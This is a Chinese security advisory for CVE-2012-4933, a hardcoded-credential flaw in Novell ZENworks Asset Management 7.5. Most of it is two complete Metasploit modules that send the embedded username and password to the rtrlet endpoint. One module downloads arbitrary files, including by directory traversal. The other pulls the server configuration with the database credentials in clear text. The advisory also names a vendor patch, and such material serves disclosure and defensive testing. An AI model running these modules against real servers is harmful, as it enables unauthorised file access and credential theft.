Novell ZENWorks Asset Management信息泄露漏洞（CVE-2012-4933）

发布日期：2012-10-15
更新日期：2012-10-18受影响系统：
Novell ZENworks Asset Management 7.5
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 55933
CVE ID: CVE-2012-4933ZENworks是一套用于在组织内跨资源自动化IT管理和业务流程的工具。Novell ZENWorks Asset Management的Web Console存在安全漏洞，通过硬编码的凭证可访问Web接口提供的两个维护调用，成功利用后可允许攻击者获取敏感信息。<*来源：Juan Vazquez

链接：https://community.rapid7.com/community/metasploit/blog/2012/10/15/cve-2012-4933-novell-zenworks
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require "msf/core"
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize（info = {}）
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super（update_info（info,
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"Name" => "Novell ZENworks Asset Management 7.5 Remote File Access",
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"Description" => %q{
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This module exploits a hardcoded user and password for the GetFile maintenance
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task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
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Console and can be triggered by sending a specially crafted request to the rtrlet component,
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allowing a remote unauthenticated user to retrieve a maximum of 100_000_000 KB of
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remote files. This module has been successfully tested on Novell ZENworks Asset
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Management 7.5.
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},
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"License" => MSF_LICENSE,
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"Author" =>
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[
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"juan vazquez" # Also the discoverer
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],
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"References" =>
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[
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[ "CVE", "2012-4933" ],
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[ "URL", "https://community.rapid7.com/community/metasploit/blog/2012/10/11/cve-2012-4933-novell-zenworks" ] ]
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））
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register_options（
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[
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Opt::RPORT（8080）,
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OptBool.new（"ABSOLUTE", [ true, "Use an absolute file path or directory traversal relative to the tomcat home", true ]）,
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OptString.new（"FILEPATH", [true, "The name of the file to download", "C:\WINDOWS\system32\drivers\etc\hosts"]）,
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OptInt.new（"DEPTH", [false, "Traversal depth if absolute is set to false", 1]）
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], self.class）
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end
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def run_host（ip）
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# No point to continue if no filename is specified
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if datastore["FILEPATH"].nil？ or datastore["FILEPATH"].empty？
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print_error（"Please supply the name of the file you want to download"）
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return
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end
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post_data = "kb=100000000&"
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if datastore["ABSOLUTE"]
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post_data << "file=#{datastore["FILEPATH"]}&"
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post_data << "absolute=yes&"
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else
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travs = "../" * （datastore["DEPTH"] || 1）
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travs << "/" unless datastore["FILEPATH"][0] == "\" or datastore["FILEPATH"][0] == "/"
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travs << datastore["FILEPATH"]
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post_data << "file=#{travs}&"
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post_data << "absolute=no&"
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end
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post_data << "maintenance=GetFile_password&username=Ivanhoe&password=Scott&send=Submit"
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print_status（"#{rhost}:#{rport} - Sending request..."）
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res = send_request_cgi（{
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"uri" => "/rtrlet/rtr",
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"method" => "POST",
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"data" => post_data,
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}, 5）
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if res and res.code == 200 and res.body =~ /Last 100000000 kilobytes of/ and res.body =~ /File name/ and not res.body =~ / File not found. /
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print_good（"#{rhost}:#{rport} - File retrieved successfully！"）
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start_contents = res.body.index（"<pre>"） + 7
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end_contents = res.body.rindex（"</pre>"） - 1
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if start_contents.nil？ or end_contents.nil？
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print_error（"#{rhost}:#{rport} - Error reading file contents"）
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return
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end
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contents = res.body[start_contents..end_contents]
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fname = File.basename（datastore["FILEPATH"]）
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path = store_loot（
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"novell.zenworks_asset_management",
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"application/octet-stream",
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ip,
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contents,
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fname
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）
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print_status（"#{rhost}:#{rport} - File saved in: #{path}"）
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else
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print_error（"#{rhost}:#{rport} - Failed to retrieve file"）
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return
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end
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end
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end
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require "msf/core"
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize（info = {}）
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super（update_info（info,
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"Name" => "Novell ZENworks Asset Management 7.5 Configuration Access",
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"Description" => %q{
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This module exploits a hardcoded user and password for the GetConfig maintenance
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task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
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Console and can be triggered by sending a specially crafted request to the rtrlet component,
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allowing a remote unauthenticated user to retrieve the configuration parameters of
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Nozvell Zenworks Asset Managmment, including the database credentials in clear text.
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This module has been successfully tested on Novell ZENworks Asset Management 7.5.
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},
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"License" => MSF_LICENSE,
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"Author" =>
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[
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"juan vazquez" # Also the discoverer
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],
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"References" =>
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[
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[ "CVE", "2012-4933" ],
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[ "URL", "https://community.rapid7.com/community/metasploit/blog/2012/10/11/cve-2012-4933-novell-zenworks" ]
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]
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））
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register_options（
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[
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Opt::RPORT（8080）,
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], self.class）
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end
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def run_host（ip）
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post_data = "kb=&file=&absolute=&maintenance=GetConfigInfo_password&username=Ivanhoe&password=Scott&send=Submit"
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print_status（"#{rhost}:#{rport} - Sending request..."）
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res = send_request_cgi（{
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"uri" => "/rtrlet/rtr",
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"method" => "POST",
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"data" => post_data,
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}, 5）
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if res and res.code == 200 and res.body =~ /Rtrlet Servlet Configuration Parameters （live） /
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print_good（"#{rhost}:#{rport} - File retrieved successfully！"）
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path = store_loot（
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"novell.zenworks_asset_management.config",
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"text/html",
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ip,
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res.body,
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nil,
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"Novell ZENworks Asset Management Configuration"
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）
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print_status（"#{rhost}:#{rport} - File saved in: #{path}"）
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else
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print_error（"#{rhost}:#{rport} - Failed to retrieve configuration"）
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return
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end
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end
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end建议：
--------------------------------------------------------------------------------
厂商补丁：Novell
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://support.novell.com/security-alertsPhpTax 0.8及之前版本远程代码执行漏洞Oracle Java SE JavaFX组件远程漏洞（CVE-2012-5082）相关资讯信息泄露漏洞 ZENworks安全漏洞 ZENworks

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